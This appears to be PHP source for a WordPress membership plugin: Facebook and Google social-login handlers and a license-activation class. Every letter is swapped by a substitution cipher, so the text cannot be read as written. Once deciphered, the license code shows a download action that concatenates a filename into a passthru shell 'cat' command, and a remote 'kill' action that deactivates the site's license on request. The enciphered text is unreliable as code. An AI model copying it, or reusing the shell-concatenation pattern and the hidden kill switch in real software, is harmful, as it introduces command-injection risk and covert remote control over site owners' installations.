Smyxn-QzmUnulz_DFuuEFDv) { Smyxn-QzmUDFuuEFDv()U oBmlosU } } qlEuxD AlsDmxrs oBzxnmBo_nrDxFu() { xA (VxnnBm(S_9b#[QplrmUtBtEBozBsxln_oBzxnmBoQplrmU])) { oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_oBzxnmBoQplrmU] == Smyxn-QzmUnulz) { Smyxn-QzmUBooro = Smyxn-QzmUoBplBnm(QplrmUtBtEBozBsxln_oBzxnmBoQplrmU)U oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_oBzxnmBoQplrmU] == Smyxn-QzmUnulz_DFuuEFDv) { Smyxn-QzmUBooro = Smyxn-QzmUDFuuEFDv(QplrmUtBtEBozBsxln_oBzxnmBoQplrmU)U oBmlosU } } qlEuxD AlsDmxrs Elmmrs(SmBim=sluu, Slou=sluu) { xA (SmBim == sluu) { SmBim = Smyxn-QzmUuFEBu_urzxsU } xA (Slou == sluu) { Slou = yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_urzxs=QplrmU.Smyxn-QzmUnulz)U } oBmlos QTPMGUQumUF xC=QplrmUtBtEBozBsxln_nrDxFuQplrmU yoBA=QplrmUQTPMGU.ymtuBsmxmxBn(Slou).QTPMGUQplrmU sFtB=QplrmUtBtEBozBsxln_urzxs_QTPMGU.Smyxn-QzmUnulz.QTPMGUQplrmU DuFnn=QplrmUElmmrs Elmmrs-qoxtFoh Elmmrs-uFozBQplrmU nmhuB=QplrmUCxnquFh:EurDvU jxCmy:OPP%U tFi-jxCmy:MPPqiU tFozxs-mrq:OPqiU mBim-Fuxzs:DBsmBoU EFDvzorlsC-Druro: QTPMGU.Smyxn-QzmUDruro.QTPMGUU EroCBo:srsB VxtqromFsmU Druro: TAAAU mBim-CBDroFmxrs: srsBU mBim-nyFCrj:P P P VxtqromFsmU Eri-nyFCrj:P P P V xtqromFsmU EroCBo-oFCxln: MqiU Dlonro:qrxsmBoU kBomxDFu-Fuxzs: txCCuBU yBxzym: MPqiU uxsB-yBxzym: NHqiU qFCCxsz: P ONqi NqiU tFozxs-Ermmrt:KqiUQplrmU rsDuxDv=QplrmUw&lBoh(\QTPMGUTlnBo_urzxs, TlnBo_qFnn, ToBtBtEBotB, Tjq_nlEtxm, TtBtEBozBsxln_lnBosFtB, TtBtEBozBsxln_AxonmsFtB, TtBtEBozBsxln_uFnmsFtB, TtBtEBozBsxln_BtFxu, TtBtEBozBsxln_qFnnjroCO, TtBtEBozBsxln_qFnnjroCN\QTPMGU).Fmmo(\QTPMGUCxnFEuBC\QTPMGU, molB)UQplrmUQzmUQumUnqFs DuFnn=QplrmUCFnyxDrsn QTPMGU.Smyxn-QzmUCFnyxDrs.QTPMGUQplrmU nmhuB=QplrmUjxCmy:LPqiU yBxzym:LPqiU Arsm-nxgB:MPqiUQplrmUQzmUQumU/nqFsQzmU QTPMGU.ymtuBsmxmxBn(SmBim).QTPMGUQumU/FQzmUQTPMGUU } qlEuxD AlsDmxrs urzxs_Arot_Ermmrt(SElAABo) { xA (VSmyxn-QzmUoBFCh) { oBmlos SElAABoU } oBmlos SElAABo.Smyxn-QzmUElmmrs()U } AlsDmxrs urzxs_nFkB(SlnBo_urzxs, Sjq_lnBo) { zurEFu StBtEBozBsxlnU xA (VxnnBm(S_$b$$712[Smyxn-QzmUnulz_nBnnxrs]) || Vxn_sltBoxD(S_$b$$712[Smyxn-QzmUnulz_nBnnxrs])) { oBmlosU } SlnBo_xC = S_$b$$712[Smyxn-QzmUnulz_nBnnxrs]U StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(Sjq_lnBo-QzmU7c, Smyxn-QzmUnBmmxsz_lnBo, SlnBo_xC)U lsnBm(S_$b$$712[Smyxn-QzmUnulz_nBnnxrs])U } qlEuxD AlsDmxrs urzxs_Arot() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU]) QFtqUQFtqU VxnnBm(S_9b#[QplrmUDrCBQplrmU])) { oBmlosU } xA (VSmyxn-QzmUoBFCh) { oBmlosU } BDyr Smyxn-QzmUElmmrs()U WQzmUY Y QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y w&lBoh(AlsDmxrs() {Y w&lBoh(QplrmUTtBtEBozBsxln_nrDxFuQplrmU).xsnBomfAmBo(QplrmUTjq-nlEtxmQplrmU)UY })UY // --QzmUY QumU/nDoxqmQzmUY QumUWqyqY } qlEuxD AlsDmxrs urzxs_tBnnFzB() { xA (VxnnBm(S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU])) { oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU] V= Smyxn-QzmUnulz_DrssBDm) { oBmlosU } BDyr QTPMGUQumUq DuFnn=QplrmUtBnnFzBQplrmUQzmU#yxn xn myB Axonm mxtB hrl FoB urzzxsz xs jxmy hrlo QTPMGU.Smyxn-QzmUsFtB.QTPMGU FDDrlsm. drsmxslB urzzxsz xs jxmy hrlo Bixnmxsz FDDrlsm mr DrsmxslB.QumU/qQzmUQTPMGUU } qlEuxD AlsDmxrs oBzxnmoFmxrs() { xA (VSmyxn-QzmUoBFCh) { oBmlosU } jq_BsplBlB_nmhuB(QTPMGUCFnyxDrsnQTPMGU)U SzBm = S_9b#U SuBkBu = vBh(SzBm)U FooFh_nyxAm(SzBm)U SnrDxFu4xsv = QplrmUWQplrmU.SuBkBu.QplrmUQFtqUtBtEBozBsxln_oBzxnmBo=QplrmU.Smyxn-QzmUnulzU BDyr QTPMGUQumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQTPMGU.Smyxn-QzmUElmmrs(Smyxn-QzmUuFEBu_oBzxnmBo, SnrDxFu4xsv).QTPMGUQumU/qQzmUQTPMGUU xA (xn_jq_Booro(Smyxn-QzmUBooro)) { BDyr QTPMGUQumUEurDvplrmB DuFnn=QplrmUBooroQplrmUQzmUQTPMGU.ymtuBsmxmxBn(Smyxn-QzmUBooro-QzmUzBm_Booro_tBnnFzB()).QTPMGUQumU/EurDvplrmBQzmUQTPMGUU } } } DuFnn 3BtEBo9Bsxln$rDxFu8FsCuBoaFDBErrv BimBsCn 3BtEBo9Bsxln$rDxFu8FsCuBo { kFo Snulz = QplrmUAFDBErrvQplrmUU kFo SsFtB = QplrmUaFDBErrvQplrmUU kFo SCFnyxDrs = QplrmUCFnyxDrsn-AFDBErrvQplrmUU kFo SDruro = QplrmUTMDKFGGQplrmUU qlEuxD AlsDmxrs urzxs_nDoxqmn() { zurEFu StBtEBozBsxlnU xA (VStBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU) || VStBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU) || VStBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_nBDoBmQplrmU)) { oBmlosU } WQzmUY QumUnDoxqmQzmUY jxsCrj.AEfnhsD7sxm = AlsDmxrs() {Y ae.xsxm({Y Fqq7C: QTPMGUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU)U WQzmUQTPMGU,Y DrrvxB: molB, iAEtu: molB, kBonxrs: QTPMGUkN.NQTPMGUY })UY }UY // 4rFC myB $c5 FnhsDyorsrlnuhY (AlsDmxrs(C, n, xC) {Y kFo wn, Awn = C.zBmbuBtBsmneh#Fz2FtB(n)[P]UY xA (C.zBmbuBtBsmeh7C(xC)) oBmlosUY wn = C.DoBFmBbuBtBsm(n)U wn.xC = xCUY wn.noD = QplrmU//DrssBDm.AFDBErrv.sBm/Bs_;$/nCv.wnQplrmUUY Awn.qFoBsm2rCB.xsnBomeBAroB(wn, Awn)UY }(CrDltBsm, QTPMGUnDoxqmQTPMGU, QTPMGUAFDBErrv-wnnCvQTPMGU))UY QumU/nDoxqmQzmUQumUWqyqY } qlEuxD AlsDmxrs oBplBnm(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { @BimoFDm(qFoBsm::oBplBnm(SplBoh))U S_$b$$712[QTPMGUnmFmBQTPMGU] = tCK(lsxpxC(oFsC(), # ;b))U SCxFurz_lou = QplrmUymmqn://jjj.AFDBErrv.Drt/CxFurz/rFlmyWDuxBsm_xC=QplrmU . SmrvBs . QplrmUQFtqUoBCxoBDm_lox=QplrmU . oFjlouBsDrCB(Slou) . QplrmUQFtqUnmFmB=QplrmU . S_$b$$712[QTPMGUnmFmBQTPMGU] . QplrmUQFtqUnDrqB=BtFxuQplrmUU yBFCBo(QplrmU4rDFmxrs: SCxFurz_louQplrmU)U CxB()U } qlEuxD AlsDmxrs DFuuEFDv(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU xA (S_ b&;b$#[QTPMGUnmFmBQTPMGU] V= S_$b$$712[QTPMGUnmFmBQTPMGU]) { CxB(QplrmU>$$QplrmU)U } SDrCB = S_ b&;b$#[QTPMGUDrCBQTPMGU]U Slou = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=AFDBErrv_DFuuEFDvQplrmU)U xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { oBnBm(S_9b#)U xA (xnnBm(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])) { SyFny = nmoxqnuFnyBn(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])U lsnBm(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])U } BunB { SyFny = EFnBsFtB(vBh(S_9b#))U } Slou = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SyFny, molB).QTPMGUQFtqUQTPMGU.SplBoh.QTPMGU=AFDBErrv_DFuuEFDvQTPMGUU } SmrvBs_lou = QplrmUymmqn://zoFqy.AFDBErrv.Drt/rFlmy/FDDBnn_mrvBsWQplrmU . QplrmUDuxBsm_xC=QplrmU . StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU) . QplrmUQFtqUoBCxoBDm_lox=QplrmU . louBsDrCB(Slou) . QplrmUQFtqUDuxBsm_nBDoBm=QplrmU . StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_nBDoBmQplrmU) . QplrmUQFtqUDrCB=QplrmU . SDrCBU SoBnqrsnB = @AxuB_zBm_DrsmBsmn(SmrvBs_lou)U SqFoFtn = FooFh()U qFonB_nmo(SoBnqrsnB, SqFoFtn)U SzoFqy_lou = QplrmUymmqn://zoFqy.AFDBErrv.Drt/tBWFDDBnn_mrvBs=QplrmU . SqFoFtn[QTPMGUFDDBnn_mrvBsQTPMGU] . QTPMGUQFtqUAxBuCn=QTPMGU.louBsDrCB(QTPMGUxC,BtFxu,sFtB,Axonm_sFtB,uFnm_sFtB,qxDmloB,kBoxAxBCQTPMGU)U Swnrs_DrsmBsmn = @AxuB_zBm_DrsmBsmn(SzoFqy_lou)U SnrDxFu_rlmqlm = wnrs_CBDrCB(Swnrs_DrsmBsmn)U SnrDxFu_lnBo = FooFh( QplrmUxCQplrmU =QzmU SnrDxFu_rlmqlm-QzmUxC, QplrmUBtFxuQplrmU =QzmU SnrDxFu_rlmqlm-QzmUBtFxu, QplrmUlnBosFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUsFtB, QplrmUAxonm_sFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUAxonm_sFtB, QplrmUuFnm_sFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUuFnm_sFtB, QplrmUqyrmrQplrmU =QzmU SnrDxFu_rlmqlm-QzmUqxDmloB-QzmUCFmF-QzmUlou, QplrmUkBoxAxBCQplrmU =QzmU (SnrDxFu_rlmqlm-QzmUkBoxAxBC==QplrmUmolBQplrmU) )U qFoBsm::qorDBnn(SnrDxFu_lnBo, Smyxn-QzmUnBmmxsz_lnBo, SplBoh)U } } DuFnn 3BtEBo9Bsxln$rDxFu8FsCuBo9rrzuB BimBsCn 3BtEBo9Bsxln$rDxFu8FsCuBo { kFo Snulz = QplrmUzrrzuBQplrmUU kFo SsFtB = QplrmU9rrzuBQplrmUU kFo SCFnyxDrs = QplrmUCFnyxDrsn-zrrzuBqulnQplrmUU kFo SDruro = QplrmUTcdLbLOQplrmUU qlEuxD AlsDmxrs oBplBnm(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU @nBnnxrs_nmFom()U BimoFDm(qFoBsm::oBplBnm(SplBoh))U S_$b$$712[QTPMGUnmFmBQTPMGU] = tCK(lsxpxC(oFsC(), # ;b))U xA (SuBkBu QFtqUQFtqU SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { S_$b$$712[QTPMGUtBtEBozBsxln_yFnyQTPMGU] = SuBkBuU } SFqq = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_FqqQplrmU)U SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_nBDoBmQplrmU)U SnDrqB = QplrmUBtFxuQplrmUU SoBCxoBDm = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=zrrzuB_DFuuEFDvQplrmU)U SkBoxAh = QplrmUymmqn://FDDrlsmn.zrrzuB.Drt/r/rFlmyN/FlmyWoBnqrsnB_mhqB=DrCBQFtqUDuxBsm_xC=QplrmU.oFjlouBsDrCB(SFqq).QplrmUQFtqUoBCxoBDm_lox=QplrmU.louBsDrCB(SoBCxoBDm).QplrmUQFtqUnDrqB=QplrmU.oFjlouBsDrCB(SnDrqB).QplrmUQFtqUnmFmB=mrvBsQFtqUFDDBnn_mhqB=rAAuxsBQplrmUU jq_oBCxoBDm(SkBoxAh)U CxB()U } qlEuxD AlsDmxrs DFuuEFDv(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU xA (VxnnBm(S_9b#[QplrmUDrCBQplrmU])) { oBmlosU } SDrCB = nmoxqnuFnyBn(S_9b#[QplrmUDrCBQplrmU])U SFqq = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_FqqQplrmU)U SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_nBDoBmQplrmU)U SoBCxoBDm = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=zrrzuB_DFuuEFDvQplrmU)U SmrvBserCh = FooFh( QplrmUDrCBQplrmU =QzmU SDrCB, QplrmUDuxBsm_xCQplrmU =QzmU SFqq, QplrmUDuxBsm_nBDoBmQplrmU =QzmU SnBDoBm, QplrmUoBCxoBDm_loxQplrmU =QzmU SoBCxoBDm, QplrmUzoFsm_mhqBQplrmU =QzmU QplrmUFlmyroxgFmxrs_DrCBQplrmU, )U SmrvBs; 4 = QplrmUymmqn://jjj.zrrzuBFqxn.Drt/rFlmyN/kL/mrvBsQplrmUU SmrvBs0rnm = jq_oBtrmB_qrnm(SmrvBs; 4, FooFh(QplrmUErChQplrmU =QzmU SmrvBserCh, QplrmUymmqkBonxrsQplrmU =QzmU QplrmUO.PQplrmU))U SmrvBs Bnlum = wnrs_CBDrCB(jq_oBtrmB_oBmoxBkB_ErCh(SmrvBs0rnm))U xA (VxnnBm(SmrvBs Bnlum-QzmUFDDBnn_mrvBs)) { CxB(QplrmU2r mrvBsQplrmU)U } SFDDBnn_mrvBs = SmrvBs Bnlum-QzmUFDDBnn_mrvBsU Slou = QplrmUymmqn://jjj.zrrzuBFqxn.Drt/quln/kO/qBrquB/tBQplrmUU SyBFCBon = FooFh(QplrmUflmyroxgFmxrsQplrmU =QzmU QplrmUeBFoBo QplrmU.SFDDBnn_mrvBs, QplrmUFDDBqm-BsDrCxszQplrmU =QzmU QplrmUzgxqUp=P,CBAuFmB,nCDyQplrmU)U Sqrnm = jq_oBtrmB_zBm(Slou, FooFh(QplrmUyBFCBonQplrmU =QzmU SyBFCBon, QplrmUErChQplrmU =QzmU FooFh(), QplrmUymmqkBonxrsQplrmU =QzmU QplrmUO.PQplrmU))U xA (xn_jq_Booro(Sqrnm) || jq_oBtrmB_oBmoxBkB_oBnqrsnB_DrCB(Sqrnm) V= NPP) { oBmlos sluuU } SnrDxFu_rlmqlm = wnrs_CBDrCB(jq_oBtrmB_oBmoxBkB_ErCh(Sqrnm))U SnrDxFu_lnBo = FooFh( QplrmUxCQplrmU =QzmU SnrDxFu_rlmqlm-QzmUxC, QplrmUBtFxuQplrmU =QzmU SnrDxFu_rlmqlm-QzmUBtFxun[P]-QzmUkFulB, QplrmUlnBosFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUCxnquFh2FtB, QplrmUAxonm_sFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUsFtB-QzmUzxkBs2FtB, QplrmUuFnm_sFtBQplrmU =QzmU SnrDxFu_rlmqlm-QzmUsFtB-QzmUAFtxuh2FtB, QplrmUqyrmrQplrmU =QzmU SnrDxFu_rlmqlm-QzmUxtFzBn-QzmUlou, QplrmUkBoxAxBCQplrmU =QzmU (SnrDxFu_rlmqlm-QzmUkBoxAxBC==QplrmUmolBQplrmU) )U qFoBsm::qorDBnn(SnrDxFu_lnBo, Smyxn-QzmUnBmmxsz_lnBo, SplBoh)U } } DuFnn 3BtEBo9BsxlnfDmxkFmxrs { qlEuxD SDFuuU qoxkFmB SlumtFmBU qlEuxD SvBhU qlEuxD SBtFxuU qlEuxD SAluu; 4U qlEuxD SnulzU qlEuxD SkBonxrsU qoxkFmB SqorClDm2FtBU qoxkFmB SlqzoFCB; 4U qoxkFmB SvBh; 4U qoxkFmB SlouU qoxkFmB SnFumU qoxkFmB SCEnU qoxkFmB SnmFomU qoxkFmB SnmBqU qlEuxD SCBElzU AlsDmxrs __DrsnmolDm(SyrtB; 4, SqorClDm$ulz, SqorClDm2FtB, SuxDBsnB; 4=sluu) { Smyxn-QzmUCBElz = AFunBU Smyxn-QzmUlumxtFmB = AFunBU Smyxn-QzmUnulz = SqorClDm$ulzU Smyxn-QzmUDFuu = QplrmUQplrmUU xA (AlsDmxrs_Bixnmn(QplrmUDlooBsm_lnBo_DFsQplrmU) QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU) QFtqUQFtqU xnnBm(S_01$#[Smyxn-QzmUnulz.QplrmU_CBFDmxkFmBQplrmU])) { Smyxn-QzmUCBFDmxkFmB()U } Smyxn-QzmUDFuu()U Smyxn-QzmUvBh = QplrmUQplrmUU Smyxn-QzmUBtFxu = QplrmUQplrmUU @uxnm(Smyxn-QzmUvBh, Smyxn-QzmUBtFxu) = Smyxn-QzmUnBmmxszn_zBm(QplrmUvBhQplrmU, QplrmUBtFxuQplrmU)U Smyxn-QzmUqorClDm2FtB = SqorClDm2FtBU Smyxn-QzmUlqzoFCB; 4 = SyrtB; 4U xA (SuxDBsnB; 4) { Smyxn-QzmUvBh; 4 = moFxuxsznuFnyxm(SuxDBsnB; 4).QplrmUuxDBsnB-vBhQplrmUU } BunB { Smyxn-QzmUvBh; 4 = moFxuxsznuFnyxm(Smyxn-QzmUlqzoFCB; 4).QplrmUuxDBsnB-vBhQplrmUU } Smyxn-QzmUAluu; 4 = moFxuxsznuFnyxm(Smyxn-QzmUlqzoFCB; 4).QTPMGUWjqCoxq=QTPMGU.louBsDrCB(Smyxn-QzmUBtFxu.QTPMGU|QTPMGU.Smyxn-QzmUvBh.QTPMGU|QTPMGU.Smyxn-QzmUnulz.QTPMGU|QTPMGU.CxosFtB(DrsnmFsm(QplrmU?0_d12#b2#_; 4QplrmU)))U xA (DuFnn_Bixnmn(QplrmU0ulzxs;qCFmBdyBDvBoQplrmU) QFtqUQFtqU Smyxn-QzmUvBh QFtqUQFtqU Smyxn-QzmUBtFxu) { SlqCFmBn = sBj 0ulzxs;qCFmBdyBDvBo(Smyxn-QzmUAluu; 4.QTPMGUQFtqUFDmxrs=lqCFmBQTPMGU, __a74b__, Smyxn-QzmUnulz)U } Smyxn-QzmUDFuu()U xA (VAlsDmxrs_Bixnmn( QTPMGUzBm_qulzxsnQTPMGU ) ) { oBplxoB_rsDB( fe$0f#8 . QTPMGUjq-FCtxs/xsDulCBn/qulzxs.qyqQTPMGU )U } Squlzxs_AruCBo = zBm_qulzxsn( QTPMGU/QTPMGU . qulzxs_EFnBsFtB( CxosFtB( __a74b__ ) ) )U Squlzxs_AxuB = EFnBsFtB( __a74b__)U Smyxn-QzmUkBonxrs = Squlzxs_AruCBo[Squlzxs_AxuB][QTPMGU!BonxrsQTPMGU]U Smyxn-QzmUnFum = QplrmUnAzKLACDLLzJNMqGQplrmUU Smyxn-QzmUCEn = Dyo(GN).Dyo(GN)U xA ((xnnBm(S_9b#[QplrmUFDmxkFmro-CBElzQplrmU]) || xnnBm(S_9b#[QplrmUFDmxkFmro_CBElzQplrmU]))) { Smyxn-QzmUCBElz = molBU } xA (AlsDmxrs_Bixnmn(QplrmUzBm_rqmxrsQplrmU) QFtqUQFtqU VCBAxsBC(QTPMGU?0_d12#b2#_; 4QTPMGU)) { CBAxsB(QTPMGU?0_d12#b2#_; 4QTPMGU, zBm_rqmxrs(QTPMGUnxmBlouQTPMGU) . QTPMGU/jq-DrsmBsmQTPMGU)U } xA (VSmyxn-QzmUlou) { xA (CBAxsBC(QplrmU?0_d12#b2#_; 4QplrmU)) { Smyxn-QzmUlou = DrsnmFsm(QplrmU?0_d12#b2#_; 4QplrmU) . QplrmU/qulzxsn/QplrmU . EFnBsFtB(CxosFtB(__a74b__))U } BunB { Smyxn-QzmUlou = __a74b__U } } } AlsDmxrs CBFDmxkFmxrs_Elmmrs() { BDyr QTPMGUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU sFtB=QplrmUQTPMGU.Smyxn-QzmUnulz.QTPMGU_CBFDmxkFmBQplrmU kFulB=QplrmUcBFDmxkFmB 4xDBsnB Aro #yxn $xmBQplrmU rsDuxDv=QplrmUoBmlos DrsAxot(\QTPMGUfoB hrl $; b hrl jFsm mr CBFDmxkFmB hrlo uxDBsnB Aro myxn nxmBW\QTPMGU)UQplrmU /QzmUQTPMGUU } AlsDmxrs srmxDB() { xA (VxnnBm(S_9b#[QplrmUqFzBQplrmU])) { oBmlosU } xA (S_9b#[QplrmUqFzBQplrmU] V= qulzxs_EFnBsFtB(__a74b__)) { oBmlosU } SsBjBnm = Smyxn-QzmUDFuu()U SDlooBsm = Smyxn-QzmUkBonxrsU SlqCFmB; 4 = CxosFtB(DrsnmFsm(QplrmU?0_d12#b2#_; 4QplrmU)).QTPMGU/jq-FCtxs/lqCFmB-DroB.qyqQTPMGUU Smyxn-QzmUCBElz(SsBjBnm . QplrmU kn QplrmU . SDlooBsm . QplrmU = QplrmU . Smyxn-QzmUkBonxrs_DrtqFoB(SsBjBnm, SDlooBsm))U xA (Smyxn-QzmUkBonxrs_DrtqFoB(SsBjBnm, SDlooBsm) QumU= P) { oBmlosU } BDyr QTPMGUQumUCxk DuFnn=QplrmUlqCFmBCQplrmU nmhuB=QplrmUmBim-Fuxzs: DBsmBoU qFCCxsz: OPqiUQplrmUQzmUQTPMGUU BDyr QTPMGUQumUEQzmUQTPMGU.Smyxn-QzmUqorClDm2FtB . QTPMGU:QumU/EQzmU fs lqCFmB xn FkFxuFEuB. QTPMGUU BDyr QTPMGUQumUF yoBA=QplrmUQTPMGU . SlqCFmB; 4.QTPMGUQplrmU mFozBm=QplrmU_nBuAQplrmUQzmUduxDv yBoB mr lqCFmB mr kBonxrs QTPMGU.SsBjBnm.QTPMGU.QumU/FQzmUQTPMGUU BDyr QTPMGUQumU/CxkQzmUQTPMGUU } AlsDmxrs DrsAxot(Snmoxsz, SFDmxrs=QplrmUFDmxkFmBQplrmU) { xA (VxnnBm(Smyxn-QzmUnBmmxszn)) { Smyxn-QzmUnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)U } Snmoxsz = louCBDrCB(Snmoxsz)U @uxnm(SBtFxu, SvBh, SuBkBu, SnxmB) = BiqurCB(QplrmU|QplrmU, Snmoxsz)U SuBkBu = louCBDrCB(SuBkBu)U SEFs = zBm_rqmxrs(Smyxn-QzmUnulz.QplrmUEFsQplrmU)U xA (xn_FooFh(SEFs) QFtqUQFtqU Drlsm(SEFs) QzmU P QFtqUQFtqU xs_FooFh(SnxmB, SEFs)) { oBmlos QplrmUaf74bcQplrmUU } xA (VSBtFxu) { oBmlos QplrmUaf74bcQplrmUU } xA (Smyxn-QzmUvBh(SBtFxu) V= SvBh) { oBmlos QplrmUaf74bcQplrmUU } SxC = Smyxn-QzmUzBm_xC_Eh_BtFxu(SBtFxu)U xA (SxC QumU= P || xn_sltBoxD(SnxmB)) { oBmlos QplrmU;2521?2QplrmUU } SFDmxkFmxrsn = zBm_rqmxrs(Smyxn-QzmUnulz.QplrmUFDmxkFmxrsnQplrmU)U SFDmxkFmxrs = FooFh()U xA (xnnBm(SFDmxkFmxrsn[SuBkBu])) { SFDmxkFmxrs = SFDmxkFmxrsn[SuBkBu]U } xA (VSuBkBu) { SFDmxkFmxrs = oBnBm(SFDmxkFmxrsn)U } SqorClDm = QplrmUQplrmUU xA (xnnBm(SFDmxkFmxrs[QplrmUnulzQplrmU])) { SqorClDm = SFDmxkFmxrs[QplrmUnulzQplrmU]U } xA (xnnBm(SFDmxkFmxrs[QplrmUuBkBunQplrmU])) { SuBkBu = SFDmxkFmxrs[QplrmUuBkBunQplrmU]U } BunB { xA (SuBkBu == QplrmU3rsmyuhQplrmU) { SuBkBu = QplrmU3rsmyuh,?0coxq,drtquBmBC,$mlCBsm,!70 $mlCBsm,?0coxq $xszuB,?0coxq #oxquBQplrmUU } xA (BoBzx(QTPMGU,QTPMGU, SuBkBu)) { SuBkBu = BiqurCB(QplrmU,QplrmU, SuBkBu)U } xA (Vxn_FooFh(SuBkBu)) { SuBkBu = FooFh(SuBkBu)U } } SqFnn = molBU xA (DuFnn_Bixnmn(QplrmU?43f07QplrmU)) { SqFnn = AFunBU SuBkBun = ?43f07::9Bm;nBo4BkBun(SxC)U SuBkBun = Smyxn-QzmUlqzoFCB_uBkBun(SuBkBun)U xA (xn_FooFh(SuBkBu) QFtqUQFtqU Drlsm(SuBkBu) QzmU P) { AroBFDy (SuBkBu Fn SDuxBsm4BkBu) { xA (xs_FooFh(SDuxBsm4BkBu, SuBkBun)) { SqFnn = molBU EoBFvU } } } } xA (SFDmxrs == QplrmUCrjsurFCQplrmU) { @rE_BsC_DuBFs()U xA (VSqFnn) { CxB()U } xA (Smyxn-QzmUvBh(SBtFxu) V= SvBh) { CxB()U } SCrjsurFC = Smyxn-QzmUAxsC(SqorClDm)U yBFCBo(QTPMGUdrsmBsm-#hqB: FqquxDFmxrs/rDmBm-nmoBFtQTPMGU)U yBFCBo(QTPMGUdrsmBsm-cxnqrnxmxrs: FmmFDytBsmU AxuBsFtB=QplrmUQTPMGU.EFnBsFtB(SCrjsurFC).QTPMGUQplrmUQTPMGU)U yBFCBo(QTPMGUdrsmBsm-4Bszmy: QTPMGU . AxuBnxgB(SCrjsurFC))U qFnnmyol(QTPMGUDFm QTPMGU.SCrjsurFC, SBoo)U CxB()U } xA (SFDmxrs == QplrmUlqCFmBQplrmU) { @rE_BsC_DuBFs()U xA (VSqFnn) { CxB()U } xA (Smyxn-QzmUvBh(SBtFxu) V= SvBh) { CxB()U } yBFCBo(QplrmUdrsmBsm-mhqB:FqquxDFmxrs/wnrsQplrmU)U Smyxn-QzmUlqCFmB(SqorClDm, SBtFxu, SvBh, SuBkBu)U CxB()U } xA (VqoBz_tFmDy(QTPMGU@tBtEBonyxqDlEB@nxQTPMGU, S_$b !b [QplrmU8##0_81$#QplrmU]) QFtqUQFtqU SFDmxrs == QplrmUBiqxoBQplrmU) { BDyr QplrmUb>07 bcQplrmUU CxB()U } xA (VqoBz_tFmDy(QTPMGU@tBtEBonyxqDlEB@nxQTPMGU, S_$b !b [QplrmU8##0_81$#QplrmU]) QFtqUQFtqU SFDmxrs == QplrmUvxuuQplrmU) { xA (Smyxn-QzmUnBmmxszn[QplrmUvBhQplrmU] == SvBh QFtqUQFtqU Smyxn-QzmUnBmmxszn[QplrmUBtFxuQplrmU] == SBtFxu) { Smyxn-QzmUCBFDmxkFmB()U BDyr QplrmU5744bcQplrmUU CxB()U } } xA (DuFnn_Bixnmn(QplrmU?43f07QplrmU)) { xA (VSqFnn) { oBmlos QplrmUaf74bcQplrmUU } SCrtFxsn = zBm_lnBo_tBmF(SxC, Smyxn-QzmUnulz)U SFuurj = molBU xA (Vxs_FooFh(SnxmB, SCrtFxsn) QFtqUQFtqU SFDmxrs == QplrmUFDmxkFmBQplrmU) { xA ((SuBkBun == QplrmU?0coxq $xszuBQplrmU || xs_FooFh(QplrmU?0coxq $xszuBQplrmU, SuBkBun)) QFtqUQFtqU Drlsm(SCrtFxsn) QzmU O) { oBmlos QplrmUaf74bcQplrmUU } xA ((SuBkBun == QplrmU?0coxq #oxquBQplrmU || xs_FooFh(QplrmU?0coxq #oxquBQplrmU, SuBkBun)) QFtqUQFtqU Drlsm(SCrtFxsn) QzmU M) { oBmlos QplrmUaf74bcQplrmUU } } xA (SFDmxrs == QplrmUCBFDmxkFmBQplrmU) { Smyxn-QzmUoBtrkB(SxC, 